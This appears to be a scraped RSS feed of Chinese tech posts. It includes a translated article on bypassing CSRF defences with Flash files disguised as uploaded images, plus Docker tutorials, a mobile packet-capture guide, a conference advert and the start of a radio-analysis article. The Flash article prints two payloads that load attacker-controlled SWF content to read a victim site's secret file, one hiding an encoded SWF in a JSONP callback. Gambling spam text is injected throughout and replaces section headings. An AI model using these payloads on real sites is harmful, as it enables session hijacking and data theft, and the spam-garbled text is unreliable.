大发快3网址铁匠运维网 http://www.sx-gzf.com 运维+安全+开发为一体的技术交流社区 Wed, 06 Mar 2019 09:46:49 +0000 zh-CN hourly 1 http://www.sx-gzf.com/wp-content/uploads/2017/10/cropped-tiejiang.org_2017-10-19_01-46-53-32x32.jpg 大发快3网址铁匠运维网 http://www.sx-gzf.com 32 32 大发快3网址上传文件的陷阱 http://www.sx-gzf.com/23285.html http://www.sx-gzf.com/23285.html#respond Wed, 06 Mar 2019 09:26:39 +0000 http://www.sx-gzf.com/?p=23285 ]]> 0x00 背景

现在很多网站都允许用户上传文件,但他们都没意识到让用户(或攻击者)上传文件(甚至合法文件)的陷阱。

什么是合法文件?

通常,判断文件是否合法会透过两个参数:文件后缀(File extension)及Content-Type。

例如,网站会确保后缀是jpg及Content-Type是image/jpeg以防止恶意文件,对不?

但一些像Flash的插件程序并不关心后缀及Content-type。假如一个文件被标签嵌入,它会像Flash一样执行,只要它的内容像个Flash文件。

但等等,Flash不是应该只在同域下被嵌入才会执行?亦对亦错。假如一个Flash文件(或以图像包装的Flash文件)在victim.com上传然后于attacker.com下嵌入,它只能在attacker.com下执行JavaScript。但是,假如该Flash文件发出请求,那么它可以读取到victim.com下的文件。

这说明了若不检查文件内容而直接上传,攻击者可以绕过网站的CSRF防御。

0x01 攻击


基于上面我们可以想像一种攻击场境:

攻击者建立一个恶意Flash(SWF)文件  
攻击者更改文件副档名为JPG  
攻击者上传档案到victim.com  
攻击者在attacker.com以标签及application/x-shockwave-flash类型嵌入该文件  
受害者浏览attacker.com,并以SWF格式载入该文件  
攻击者现在可以透过该SWF并以受害者的session向victim.com发出及接收任意请求  
攻击者向victim.com发出请求后取得受害者的CSRF token  

payload会像这样

<object style="height:1px;width:1px;" data="http://victim.com/user/2292/profilepicture.jpg" type="application/x-shockwave-flash" allowscriptaccess="always" flashvars="c=read&u=http://victim.com/secret_file.txt"></object>

0x02 修补


好消息是有一个相对简单的方法防止该Flash的行为。 Flash若看到文件返回下面的Content-Disposition header就不会执行:

Content-Disposition: attachment; filename="image.jpg"

所以若允许上传或输出任意数据,网站应该总是检查内容是否合法而且尽可能返回Content-Disposition header。

大发快3网址


实际上,该攻击不只限制于文件上传。该攻击只要求攻击者能够控制域名下的数据(不论Content-Type),因此还有其他实施攻击的方法。

其中一种是利用JSONP接口。通常,攻击者可以透过更改callback参数控制JSONP接口的输出。然而,攻击者可以把整个Flash文件的内容作为callback参数,而达到与上载文件无异的攻击。 Payload会像这样:

<object style="height:1px;width:1px;" data="http://victim.com/user/jsonp?callback=CWS%07%0E000x%9C%3D%8D1N%C3%40%10E%DF%AE%8D%BDI%08%29%D3%40%1D%A0%A2%05%09%11%89HiP%22%05D%8BF%8E%0BG%26%1B%D9%8E%117%A0%A2%DC%82%8A%1Br%04X%3B%21S%8C%FE%CC%9B%F9%FF%AA%CB7Jq%AF%7F%ED%F2%2E%F8%01%3E%9E%18p%C9c%9Al%8B%ACzG%F2%DC%BEM%EC%ABdkj%1E%AC%2C%9F%A5%28%B1%EB%89T%C2Jj%29%93%22%DBT7%24%9C%8FH%CBD6%29%A3%0Bx%29%AC%AD%D8%92%FB%1F%5C%07C%AC%7C%80Q%A7Nc%F4b%E8%FA%98%20b%5F%26%1C%9F5%20h%F1%D1g%0F%14%C1%0A%5Ds%8D%8B0Q%A8L%3C%9B6%D4L%BD%5F%A8w%7E%9D%5B%17%F3%2F%5B%DCm%7B%EF%CB%EF%E6%8D%3An%2D%FB%B3%C3%DD%2E%E3d1d%EC%C7%3F6%CD0%09" type="application/x-shockwave-flash" allowscriptaccess="always" flashvars="c=alert&u=http://victim.com/secret_file.txt"></object>

from:?http://blog.detectify.com/post/86298380233/the-pitfalls-of-allowing-file-uploads-on-your-website

]]>
http://www.sx-gzf.com/23285.html/feed 0
大发快3网址容器常用操作 – 每天5分钟玩转 Docker 容器技术(25) http://www.sx-gzf.com/23275.html http://www.sx-gzf.com/23275.html#respond Wed, 06 Mar 2019 06:58:46 +0000 http://www.sx-gzf.com/?p=23275 ]]> 前面讨论了如何运行容器,本节学习容器的其他常用操作。

stop/start/restart 容器

通过?docker stop?可以停止运行的容器。

容器常用操作 - 每天5分钟玩转 Docker 容器技术(25)

容器在 docker host 中实际上是一个进程,docker stop?命令本质上是向该进程发送一个 SIGTERM 信号。如果想快速停止容器,可使用?docker kill?命令,其作用是向容器进程发送 SIGKILL 信号。

容器常用操作 - 每天5分钟玩转 Docker 容器技术(25)

对于处于停止状态的容器,可以通过?docker start?重新启动。

容器常用操作 - 每天5分钟玩转 Docker 容器技术(25)

docker start?会保留容器的第一次启动时的所有参数。

docker restart?可以重启容器,其作用就是依次执行?docker stop?和docker start。

容器可能会因某种错误而停止运行。对于服务类容器,我们通常希望在这种情况下容器能够自动重启。启动容器时设置?--restart?就可以达到这个效果。

容器常用操作 - 每天5分钟玩转 Docker 容器技术(25)

--restart=always?意味着无论容器因何种原因退出(包括正常退出),就立即重启。该参数的形式还可以是?--restart=on-failure:3,意思是如果启动进程退出代码非0,则重启容器,最多重启3次。

pause/unpause 容器

有时我们只是希望暂时让容器暂停工作一段时间,比如要对容器的文件系统打个快照,或者 dcoker host 需要使用 CPU,这时可以执行?docker pause。

容器常用操作 - 每天5分钟玩转 Docker 容器技术(25)

处于暂停状态的容器不会占用 CPU 资源,直到通过?docker unpause?恢复运行。

容器常用操作 - 每天5分钟玩转 Docker 容器技术(25)

删除容器

使用 docker 一段时间后,host 上可能会有大量已经退出了的容器。

容器常用操作 - 每天5分钟玩转 Docker 容器技术(25)

这些容器依然会占用 host 的文件系统资源,如果确认不会再重启此类容器,可以通过?docker rm?删除。

容器常用操作 - 每天5分钟玩转 Docker 容器技术(25)

docker rm?一次可以指定多个容器,如果希望批量删除所有已经退出的容器,可以执行如下命令:

docker rm -v $(docker ps -aq -f status=exited)

容器常用操作 - 每天5分钟玩转 Docker 容器技术(25)

顺便说一句:docker rm?是删除容器,而?docker rmi?是删除镜像。

一下学了这么多操作,很有必要做个总结。下一节我们会用一张图来描述容器的状态机。

]]>
http://www.sx-gzf.com/23275.html/feed 0
大发快3网址运行容器的最佳实践 – 每天5分钟玩转 Docker 容器技术(24) http://www.sx-gzf.com/23273.html http://www.sx-gzf.com/23273.html#respond Tue, 05 Mar 2019 08:36:14 +0000 http://www.sx-gzf.com/?p=23273 ]]> 按用途容器大致可分为两类:服务类容器和工具类的容器。

1、服务类容器以 daemon 的形式运行,对外提供服务。比如 web server,数据库等。通过 -d?以后台方式启动这类容器是非常合适的。如果要排查问题,可以通过?exec -it?进入容器。

2、工具类容器通常给能我们提供一个临时的工作环境,通常以 run -it?方式运行,比如:

运行容器的最佳实践 - 每天5分钟玩转 Docker 容器技术(24)

运行 busybox,run -it?的作用是在容器启动后就直接进入。我们这里通过?wget?验证了在容器中访问 internet 的能力。执行?exit?退出终端,同时容器停止。

工具类容器多使用基础镜像,例如 busybox、debian、ubuntu 等。

容器运行小结

容器运行相关的知识点:

当 CMD 或 Entrypoint 或 docker run 命令行指定的命令运行结束时,容器停止。

通过?-d?参数在后台启动容器。

通过?exec -it?可进入容器并执行命令。

指定容器的三种方法:

短ID。

长ID。

容器名称。 可通过?--name?为容器命名。重命名容器可执行docker rename

容器按用途可分为两类:

服务类的容器。

工具类的容器。

下一节讨论容器的其他操作,比如 stop, restart, pause, delete。

]]>
http://www.sx-gzf.com/23273.html/feed 0
大发快3网址两种进入容器的方法 – 每天5分钟玩转 Docker 容器技术(23) http://www.sx-gzf.com/23268.html http://www.sx-gzf.com/23268.html#respond Fri, 01 Mar 2019 08:10:04 +0000 http://www.sx-gzf.com/?p=23268 ]]> 我们经常需要进到容器里去做一些工作,比如查看日志、调试、启动其他进程等。有两种方法进入容器:attach 和 exec。

docker attach

通过?docker attach?可以 attach 到容器启动命令的终端,例如:

两种进入容器的方法 - 每天5分钟玩转 Docker 容器技术(23)

这次我们通过 “长ID” attach 到了容器的启动命令终端,之后看到的是echo?每隔一秒打印的信息。

注:可通过 Ctrl+p 然后 Ctrl+q 组合键退出 attach 终端。

docker exec

通过?docker exec?进入相同的容器:

两种进入容器的方法 - 每天5分钟玩转 Docker 容器技术(23)

说明如下:

①?-it?以交互模式打开 pseudo-TTY,执行 bash,其结果就是打开了一个 bash 终端。

② 进入到容器中,容器的 hostname 就是其 “短ID”。

③ 可以像在普通 Linux 中一样执行命令。ps -elf?显示了容器启动进程while?以及当前的?bash?进程。

④ 执行?exit?退出容器,回到 docker host。

docker exec -it <container> bash|sh?是执行 exec 最常用的方式。

attach VS exec

attach 与 exec 主要区别如下:

  1. attach 直接进入容器?启动命令?的终端,不会启动新的进程。
  2. exec 则是在容器中打开新的终端,并且可以启动新的进程。
  3. 如果想直接在终端中查看启动命令的输出,用 attach;其他情况使用 exec。

当然,如果只是为了查看启动命令的输出,可以使用?docker logs?命令:

两种进入容器的方法 - 每天5分钟玩转 Docker 容器技术(23)

-f?的作用与?tail -f?类似,能够持续打印输出。

下一节聊聊运行容器的最佳实践。

]]>
http://www.sx-gzf.com/23268.html/feed 0
大发快3网址如何运行容器?- 每天5分钟玩转 Docker 容器技术(22) http://www.sx-gzf.com/23257.html http://www.sx-gzf.com/23257.html#respond Fri, 01 Mar 2019 08:08:47 +0000 http://www.sx-gzf.com/?p=23257 ]]> 上一章我们学习了如何构建 Docker 镜像,并通过镜像运行容器。本章将深入讨论容器:学习容器的各种操作,容器各种状态之间如何转换,以及实现容器的底层技术。

运行容器

docker run?是启动容器的方法。在讨论 Dockerfile 时我们已经学习到,可用三种方式指定容器启动时执行的命令:

CMD 指令。

ENTRYPOINT?指令。

在?docker run?命令行中指定。

例如下面的例子:

如何运行容器?- 每天5分钟玩转 Docker 容器技术(22)

容器启动时执行?pwd,返回的?/?是容器中的当前目录。 执行?docker ps?或?docker container ls?可以查看 Docker host 中当前运行的容器:

如何运行容器?- 每天5分钟玩转 Docker 容器技术(22)

咦,怎么没有容器?用?docker ps -a?或?docker container ls -a?看看。

如何运行容器?- 每天5分钟玩转 Docker 容器技术(22)

-a?会显示所有状态的容器,可以看到,之前的容器已经退出了,状态为Exited。

这种“一闪而过”的容器通常不是我们想要的结果,我们希望容器能够保持 runing 状态,这样才能被我们使用。

让容器长期运行

如何让容器保存运行呢?

因为容器的生命周期依赖于启动时执行的命令,只要该命令不结束,容器也就不会退出。

理解了这个原理,我们就可以通过执行一个长期运行的命令来保持容器的运行状态。例如执行下面的命令:

如何运行容器?- 每天5分钟玩转 Docker 容器技术(22)

while?语句让 bash 不会退出。我们可以打开另一个终端查看容器的状态:

如何运行容器?- 每天5分钟玩转 Docker 容器技术(22)

可见容器仍处于运行状态。不过这种方法有个缺点:它占用了一个终端。

我们可以加上参数?-d?以后台方式启动容器。

如何运行容器?- 每天5分钟玩转 Docker 容器技术(22)

容器启动后回到了 docker host 的终端。这里看到 docker 返回了一串字符,这是容器的 ID。通过?docker ps?查看容器:

如何运行容器?- 每天5分钟玩转 Docker 容器技术(22)

现在我们有了两个正在运行的容器。这里注意一下容器的?CONTAINER ID和?NAMES?这两个字段。

CONTAINER ID?是容器的 “短ID”,前面启动容器时返回的是 “长ID”。短ID是长ID的前12个字符。

NAMES?字段显示容器的名字,在启动容器时可以通过?--name?参数显式地为容器命名,如果不指定,docker 会自动为容器分配名字。

对于容器的后续操作,我们需要通过 “长ID”、“短ID” 或者 “名称” 来指定要操作的容器。比如下面停止一个容器:

如何运行容器?- 每天5分钟玩转 Docker 容器技术(22)

这里我们就是通过 “短ID” 指定了要停止的容器。

通过?while?启动的容器虽然能够保持运行,但实际上没有干什么有意义的事情。容器常见的用途是运行后台服务,例如前面我们已经看到的 http server:

如何运行容器?- 每天5分钟玩转 Docker 容器技术(22)

这一次我们用?--name?指定了容器的名字。 我们还看到容器运行的命令是httpd-foreground,通过?docker history?可知这个命令是通过 CMD 指定的。

如何运行容器?- 每天5分钟玩转 Docker 容器技术(22)

我们经常需要进到容器里去做一些工作,比如查看日志、调试、启动其他进程等。下一节学习如何进入容器内部。

]]>
http://www.sx-gzf.com/23257.html/feed 0
大发快3网址Docker 镜像小结 – 每天5分钟玩转 Docker 容器技术(21) http://www.sx-gzf.com/23252.html http://www.sx-gzf.com/23252.html#respond Fri, 01 Mar 2019 08:07:21 +0000 http://www.sx-gzf.com/?p=23252 ]]> 本节我们对 Docker 镜像做个小结。

这一部分我们首先讨论了镜像的分层结构,然后学习了如何构建镜像,最后实践使用 Docker Hub 和本地 registry。

下面是镜像的常用操作子命令:

images ? ?显示镜像列表

history ? 显示镜像构建历史

commit ? ?从容器创建新镜像

build ? ? 从 Dockerfile 构建镜像

tag ? ? ? 给镜像打 tag

pull ? ? ?从 registry 下载镜像

push ? ? ?将 镜像 上传到 registry

rmi ? ? ? 删除 Docker host 中的镜像

search ? ?搜索 Docker Hub 中的镜像

 

除了 rmi 和 search,其他命令都已经用过了。

rmi

rmi 只能删除 host 上的镜像,不会删除 registry 的镜像。

如果一个镜像对应了多个 tag,只有当最后一个 tag 被删除时,镜像才被真正删除。例如 host 中 debian 镜像有两个 tag:

Docker 镜像小结 - 每天5分钟玩转 Docker 容器技术(21)

删除其中 debian:latest 只是删除了 latest tag,镜像本身没有删除。

Docker 镜像小结 - 每天5分钟玩转 Docker 容器技术(21)

只有当 debian:jessie 也被删除时,整个镜像才会被删除。

Docker 镜像小结 - 每天5分钟玩转 Docker 容器技术(21)

search

search 让我们无需打开浏览器,在命令行中就可以搜索 Docker Hub 中的镜像。

Docker 镜像小结 - 每天5分钟玩转 Docker 容器技术(21)

当然,如果想知道镜像都有哪些 tag,还是得访问 Docker Hub。

至此,Docker 镜像已经讨论完了,下节我们深入讨论容器。

]]>
http://www.sx-gzf.com/23252.html/feed 0
大发快3网址搭建本地 Registry – 每天5分钟玩转 Docker 容器技术(20) http://www.sx-gzf.com/23247.html http://www.sx-gzf.com/23247.html#respond Fri, 01 Mar 2019 06:24:48 +0000 http://www.sx-gzf.com/?p=23247 ]]> Docker Hub 虽然非常方便,但还是有些限制,比如:

? ? ? ?需要 internet 连接,而且下载和上传速度慢。

? ? ? ?上传到 Docker Hub 的镜像任何人都能够访问,虽然可以用私有 repository,但不是免费的。

? ? ? ?安全原因很多组织不允许将镜像放到外网。

解决方案就是搭建本地的 Registry。

Docker 已经将 Registry 开源了,同时在 Docker Hub 上也有官方的镜像 registry。下面我们就在 Docker 中运行自己的 registry。

1、启动 registry 容器。
搭建本地 Registry - 每天5分钟玩转 Docker 容器技术(20)

我们使用的镜像是 registry:2。

-d 是后台启动容器。

-p 将容器的 5000 端口映射到 Host 的 5000 端口。5000 是 registry 服务端口。端口映射我们会在容器网络章节详细讨论。

-v 将容器 /var/lib/registry 目录映射到 Host 的 /myregistry,用于存放镜像数据。-v 的使用我们会在容器存储章节详细讨论。

2、通过 docker tag?重命名镜像,使之与 registry 匹配。
搭建本地 Registry - 每天5分钟玩转 Docker 容器技术(20)

我们在镜像的前面加上了运行 registry 的主机名称和端口。

前面已经讨论了镜像名称由 repository 和 tag 两部分组成。而 repository 的完整格式为:[registry-host]:[port]/[username]/xxx

只有 Docker Hub 上的镜像可以省略 [registry-host]:[port] 。

3、通过 docker push?上传镜像。
搭建本地 Registry - 每天5分钟玩转 Docker 容器技术(20)

4、现在已经可通过 docker pull?从本地 registry 下载镜像了。
搭建本地 Registry - 每天5分钟玩转 Docker 容器技术(20)

除了镜像的名称长一些(包含 registry host 和 port),使用方式完全一样。

以上是搭建本地 registry 的简要步骤。当然 registry 也支持认证,https 安全传输等特性,具体可以参考官方文档?https://docs.docker.com/registry/configuration/

至此,Docker 镜像的内容就讨论完了,下节我们对这部分做个小结。

]]>
http://www.sx-gzf.com/23247.html/feed 0
大发快3网址浅析手机抓包方法实践 http://www.sx-gzf.com/23220.html http://www.sx-gzf.com/23220.html#respond Thu, 28 Feb 2019 10:40:07 +0000 http://www.sx-gzf.com/?p=23220 ]]> 0x00 摘要

在移动逆向分析以及 App 开发的时候,总会需要对其网络行为进行监控测试,本文总结一些抓包思路,并对其使用方法进行实践

笔者认为在抓包界,Wireshark 应该算是综合排名第一的工具(其实 Wireshark 自带的命令行工具 tshark 更牛逼)

本文总结记录了 5 种抓包方式,掌握其一即可进行实践,欢迎大家一起交流分享

大发快3网址


实验步骤:

1.1 在电脑主机上使用猎豹 Wifi之类的工具,开启热点,将所要测试的手机连接该热点,记录其IP地址

浅析手机抓包方法实践

1.2 使用 Wireshark 对以上 IP 地址进行捕获

Capture——Options

浅析手机抓包方法实践

浅析手机抓包方法实践

1.3 总结

该方法简单粗暴高效,可以将捕获的数据包随时保存下来,便于后续分析或者进行 PCAP 可视化分析。

关于命令行工具 tshark 在此不做赘述,感兴趣的读者自行研究。

大发快3网址


实验环境:

下载安装 Genymotion 安卓虚拟机,在该模拟器环境种进行实践操作(基于实体手机亦然,前提是手机必须得 ROOT

笔者仅在 Android 系统下测试,未在 iOS 系统下实验

实验步骤:

2.1 说明

模拟器中自带的 tcpdump 工具,位于: /system/xbin/ 目录下

2.2 数据包捕获

可以通过 adb shell 命令在 CMD 模式下连接模拟器,su 到 root 模式进行抓包

#!bash
tcpdump -vv -s 0 -i eth1 -w /sdcard/capture.pcap

参数说明:

-vv:获取详细的包信息(注意是两个 v 不是 w)

-s 0:不限数据包的长度,如果不加则只获取包头

-w xxx.pcap:捕获数据包名称以及存储位置(本例中保存在 sdcard 路径下,数据包名为 capture.pcap)

-i eth1:捕获制定的网卡(在 genymotion 虚拟机中,使用 busybox ifconfig 命令可以查看相关信息,一般 genymotion 的 ip 地址都为 10.xx.xx.x)

如果你想指定捕获的数据包长度,可以使用 -c 参数(例如 -c 128)

捕获结束,直接按 Ctrl + C 即可

2.3 数据分析

将捕获到的数据包拖到本地使用 Wireshark 进行查看:

#!bash
adb pull /sdcard/capture.pcap C:\tmp

TIPS:将数据包文件 push 到手机上命令为

#!bash
adb push C:\tmp\capture.pcap /sdcard/

大发快3网址


实验步骤:

3.1 下载 FIddler 4

点击下载 Fiddler 4

3.2 设置 Fiddler 4

打开Fiddler,Tools-> Fiddler Options (配置完成记得重启 Fiddler)

浅析手机抓包方法实践

浅析手机抓包方法实践

3.3 设置手机代理

首先,获取安装 Fiddler 4 的 PC 对应的 IP 地址(ipconfig):

浅析手机抓包方法实践

确保手机和 PC 是连接在同一个局域网中!!!

下面对手机进行设置(笔者使用小米测试机):点击手机中“设置”——Wi-Fi——选择已经连接的wifi——代理设置改为手动

浅析手机抓包方法实践

下载 Fiddler 的安全证书

使用手机浏览器访问:http://10.2.145.187:8888,点击"FiddlerRoot certificate",然后安装证书即可。

至此,已经全部设置完毕。

3.4 数据包捕获

重新打开 Fiddler 4,然后打开手机中的浏览器,访问任意网址,Fiddler 抓包信息如下:

浅析手机抓包方法实践

Enjoy!

大发快3网址


实验环境:

win7 + Charles v3.11

一般使用 Charles 都是基于 MAC OS ,笔者在 mac 平台以及 windows 平台均试验过,操作过程和思路基本一致,因此,本文以 win7 为测试环境

实验步骤:

4.1 捕获 http 数据包

手机设置代理:

浅析手机抓包方法实践

打开 Charles 即可捕获数据包(Proxy —— Proxy Settings):

浅析手机抓包方法实践

浅析手机抓包方法实践

4.2 捕获 https 数据包

手机端安装证书:

Android 手机或者 iPhone 均可直接访问 http://www.charlesproxy.com/ssl.zip ,然后根据图示点击证书安装

浅析手机抓包方法实践

浅析手机抓包方法实践

浅析手机抓包方法实践

设置 Charles:

选择 Proxy —— SSL Proxying Settings —— Locations —— Add

在弹出的表单中填写 Host 域名(也就是你想要抓包链接的主机名),以及对应的 Port 端口(此处相当于过滤作用)

当然,你可以采用更加粗暴的方式:使用通配符,例如你想要捕获所有的 https 包,这里也可以直接都为空,表示捕获所有的主机和端口;或者都分别填“*”星号,匹配所有的字符,捕获所有的 https。

浅析手机抓包方法实践

浅析手机抓包方法实践

浅析手机抓包方法实践

大发快3网址


实验步骤:

5.1 捕获 http 数据包

PC 端 Burpsuite 设置:

浅析手机抓包方法实践

手机端代理设置方法同以上 3.3 4.1

打开 Burpsuite 即可捕获 http 数据包:

浅析手机抓包方法实践

5.2 捕获 https 数据包

手机端设置好代理之后,使用浏览器访问:http://burp/

浅析手机抓包方法实践

浅析手机抓包方法实践

此处存在一个问题:下载的证书是 der 格式的,我们手机端安装的是 crt 格式的,需要使用 firefox 浏览器转一下格式:可以首先在 Brupsuite 中导出 der 格式证书,然后导入火狐浏览器,然后从火狐浏览器导出证书格式为 crt

浅析手机抓包方法实践

打开火狐浏览器:工具——选项——高级——证书——查看证书

浅析手机抓包方法实践

浅析手机抓包方法实践

浅析手机抓包方法实践

成功捕获 https 数据包

浅析手机抓包方法实践

0x06 总结


当我们停止捕获数据包时,将Fiddler 或 Charles 关闭,此时手机端是无法正常访问网络的,因为设置了代理,这时候需要将代理关闭,即可正常浏览网页

对于大多数走代理的应用可以选择 Fiddler 或 Charles,无需 root,一次配置,终身使用;对于不走代理的 App 可以利用 tcpdump 捕包,然后使用 Wireshark 查看;最简单便捷的便是第一种方法「0x01. 基于 Wireshark」

以上所有工具各有优劣,读者可以根据工作环境,按需使用,个人觉得一般情况下使用 Wireshark + Fiddler 或者 Wireshark + Charles 即可完成各平台的抓包分析任务

以上工具中只有BurpSuite可以对抓包过程进行交互式操作;Wireshark支持的协议最多,也更底层,功能强大,但过于沉重

对于本文涉及的相关工具的安装、设置、破解、详细使用,不在本文讨论范围之内(Charles 免费版其实还比较厚道,如果重度需要,建议购买正版),本文旨在浅析捕获移动终端数据包的方法和思路

大发快3网址


  1. 抓包工具Fidder详解
  2. Mac上的抓包工具Charles
  3. 网络抓包工具Charles的介绍与使用
  4. charles使用教程指南
  5. Android安全测试之BurpSuite抓包
  6. Android利用tcpdump和wireshark抓取网络数据包
]]>
http://www.sx-gzf.com/23220.html/feed 0
大发快3网址Gdevops北京站:邀你开启运维与数据库的一年之“技” http://www.sx-gzf.com/23206.html http://www.sx-gzf.com/23206.html#respond Thu, 28 Feb 2019 10:10:48 +0000 http://www.sx-gzf.com/?p=23206 ]]>

经过潜心打磨,结合行业热点

2019年度Gdevops全球敏捷运维峰会

将于5月10日以北京为起点强势启动

展开新一年精彩纷呈的技术巡演!

 

关于Gdevops全球敏捷运维峰会
  • 国内同时覆盖一线与二线城市的高端技术峰会,会议主题覆盖敏捷运维、AIOps、数据库、云与架构等重点方向。
  • 2016年迄今已成功举办12场,多次巡回北京、上海、广州、杭州、成都等城市,累计参与人次达20000+。
  • 汇聚dbaplus社群数百专家资源,是携手政府、企业共同打造的敏捷运维领域标杆盛会,覆盖从DBA、运维工程师到CXO等所有技术圈层、从互联网、电信、金融、交通到物流等重点行业。
往届回顾

Gdevops北京站:邀你开启运维与数据库的一年之“技”

2019 Gdevops北京站

Gdevops北京站:邀你开启运维与数据库的一年之“技”

时间:2019年5月10日地点:北京新世纪日航饭店

指导单位:上海市经济和信息化委员会

主办单位:上海市云计算产业促进中心、dbaplus社群

>>>>精彩亮点

聚焦热点技术:那些年热搜、秒杀、抢购宕过的机,都通过怎样的技术加持实现当下的高并发、高可用、高性能?

相关主题:

  • 《微博热点事件背后如何玩转数据库》
  • 《机器学习在京东数据库运维中的实践落地》
  • 《Kafka在360商业化的实践》

 

理念转化实践:纸上谈兵终觉浅,所以我们力求将高大上的前沿理念,通过基于应用场景的Roadmap,转化为接地气的具体实践。

相关主题:

  • 《从自动化迈向智能化,企业级AIOps的核心技术演进》
  • 《DevSevOps在国际大型银行的落地和实践》

 

智能为我所用:大势所趋的智能化已不再是空话,抢先掌握让智能为我所用的方法,而不是等着被智能替代。

相关主题:

  • 《美团点评SQL智能优化的实践》
  • 《智能故障预测与应用健康管理实践》

 

数据库选型新解:数据库百花齐放,如何选型成了越来越多企业的纠结与烦恼。何不换种视角,看看这些新兴数据库是否如你所需?

相关主题:

  • 《图数据库行业及应用场景分析》
  • 《从云数据库的演化剖析阿里云自研云原生数据库PolarDB》
>>>>部分演讲嘉宾率先亮相
Gdevops北京站:邀你开启运维与数据库的一年之“技”

肖鹏

新浪微博

研发中心技术副总监

讲师介绍:负责微博数据库相关的业务保障、性能优化、架构设计,以及周边的自动化系统建设。经历过微博数据库各阶段的架构改造,包括服务保障及SLA体系建设、多机房部署、平台化改造等。具有10年互联网数据库架构和管理经验,专注于数据库的高性能和高可用技术保障。

 

Gdevops北京站:邀你开启运维与数据库的一年之“技”
周纪海

汇丰

DevOps负责人

讲师介绍:英国伦敦帝国理工学院电气工程博士,博士期间曾在苏格兰皇家银行实习,毕业后曾就职于多家国际大型银行。2012年开始负责DevOps工作,对部门级DevOps的推动和引领、银行级DevOps模型设计和标准定义以及DevOps团队的带领和管理具有丰富经验。2018年被英国汇丰银行从伦敦派到广州,负责广州地区投行IT部门千人开发团队的DevOps推广和实现。

 

Gdevops北京站:邀你开启运维与数据库的一年之“技”
刘岩

京东商城

数据库运维负责人

讲师介绍:先后服务于游戏、电商等行业,积累10年以上数据库运维实践经验。现任京东商城数据库运维负责人,致力于推进数据库性能提升,实现数据库智能化运维。当前重点研究智能监控规划设计,并基于监控数据分析实现资源优化调度,实现最大效能。

 

Gdevops北京站:邀你开启运维与数据库的一年之“技”

严锁鹏

奇虎360

大数据架构团队技术负责人

讲师介绍:奇虎360大数据架构运维专家,具有9年基础架构与大数据开发经验。2012年加入360商业化团队,负责消息中间件开发与运维,同时涉及大数据架构、微服务架构、实时计算平台、机器学习平台、监控系统等基础设施建设,致力于为商业化团队提供稳定高效的基础服务。

 

Gdevops北京站:邀你开启运维与数据库的一年之“技”

邵宗文

腾讯云

数据库专家

讲师介绍:十余年数据库从业经验,2009年加入腾讯,曾负责腾讯网、新闻客户端快报、视频、财经、体育等数据库平台的部署、规划及运维支持工作。曾任新浪数据库专家、数据库平台主管,具有丰富的海量大数据经验。

 

Gdevops北京站:邀你开启运维与数据库的一年之“技”
贺军

阿里云

高级数据库专家

讲师介绍:十余年云计算、大数据领域技术研发和产品经验,关注于技术和商业融合的创新、竞合、进化、开放的思维模式和用户价值实践。曾是国内最早的MySQL内核开发者之一,在分布式系统和并行计算领域拥有多项国内外专利。

 

Gdevops北京站:邀你开启运维与数据库的一年之“技”

彭冬

新浪微博

广告数据平台负责人

讲师介绍:目前负责微博广告智能运维系统、大数据平台(D+)、数据挖掘及用户画像等工作,《智能运维:从0搭建大规模分布式AIOps系统》作者。

 

Gdevops北京站:邀你开启运维与数据库的一年之“技”

龙雪刚

美团点评

业务支撑团队负责人

讲师介绍:美团资深技术专家,目前负责数据库中心业务支撑团队日常工作。专注于高效运维,提供可靠稳定的存储服务。

 

Gdevops北京站:邀你开启运维与数据库的一年之“技”

张岩

去哪儿网

运维开发总监

讲师介绍:2014年加入去哪儿网,现带领运维开发团队,负责去哪儿网运维自动化平台、监控平台、管理平台的建设,长期关注并亲历AIOps发展。曾就职于方正、淘宝、Tripadvisor等。

>>>>主题议程提前剧透

Gdevops北京站:邀你开启运维与数据库的一年之“技”

? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 报名方式

优惠报名限量开放

名额有限,抢座从速

扫码抢座

Gdevops北京站:邀你开启运维与数据库的一年之“技”

 

想了解更多,可进入活动官网:https://gdevops.com/

]]>
http://www.sx-gzf.com/23206.html/feed 0
大发快3网址利用GRC进行安全研究和审计 – 将无线电信号转换为数据包 http://www.sx-gzf.com/23160.html http://www.sx-gzf.com/23160.html#respond Fri, 15 Feb 2019 06:00:17 +0000 http://www.sx-gzf.com/?p=23160 ]]> 0x00 介绍

InGuardians作为一家从事信息安全研究和咨询的公司,自创立以来不但关注着web应用的渗透测试,网络取证,嵌入式设备等领域也致力于无线网络的评估方法上面的研究。在期间无线网络评估也从起初单一的企业无线网络部署慢慢地发展到开始涉及一些通用或自定义的蓝牙,zigbee等网络的分析。

InGuardians和其它一些企业,安全机构一样会一直通过参考其它人发表的一些研究结果来扩充自己的知识。在利用別人发表的内容来提高自我水平的同时,他们也从来没有在分享自己的一些经验和研究结果上有过止步。如果你有关注BH,DC等会议你们应该有在这些会议上看到过他们的身影。

在寻求充分理解无线电审计背后的技术过程当中,InGuardians意识到市面上缺乏一些一步一步指导人们如何分析无线电信号的文稿。其中最大的缺口出现在教会人们如何利用GRC(GNU Radio Companion)来对无线电信号进行彻底地分析,最终再将无线电信号转换为更易于我们理解和分析的数据包。虽然我们没有办法将个别案例中的分析方法原样地应用到任意的项目当中,但是了解一些分析案例中各个步骤背后的种种不但可以帮助人们开发出更好的工具,在某些时候也可以帮助人们完成其它类似的研究。作为工具 GRC Bit Converter3(GRC Bit Converter: https://github.com/cutaway/grc_bit_converter ) 就是个很好的例子。它可以很好地帮助安全研究人员和无线电爱好者完成他们的项目和工作。

0x01 安装与配置?


市面上有很多关于如何购买适合自己的无线电设备,如何安装GRC和如何安装频谱分析应用的教程。所以再重复叙述那些东西应该是没有任何意义的。在这里只给出这些硬件和软件的相关链接。

. 硬件资源

USRP . http://home.ettus.com/

HackRF Jawbreaker . https://github.com/mossmann/hackrf/wiki (.1)

bladeRF - http://nuand.com/

RTL-SDR . http://en.wikipedia.org/wiki/List_of_software-defined_radios

CC1111EMK - http://www.ti.com/tool/cc1111emk868-915

Ubertooth . http://ubertooth.sourceforge.net/

Atmel RZUSBstick - http://www.atmel.com/tools/rzusbstick.aspx

软件资源

GNU Radio Companion –

http://gnuradio.org/redmine/projects/gnuradio/wiki/GNURadioCompanion

SDR# - http://sdrsharp.com/

GQRX – http://gqrx.dk/

Baudline - http://www.baudline.com/

RFcat – http://code.google.com/p/rfcat/

Ubertooth - http://ubertooth.sourceforge.net/

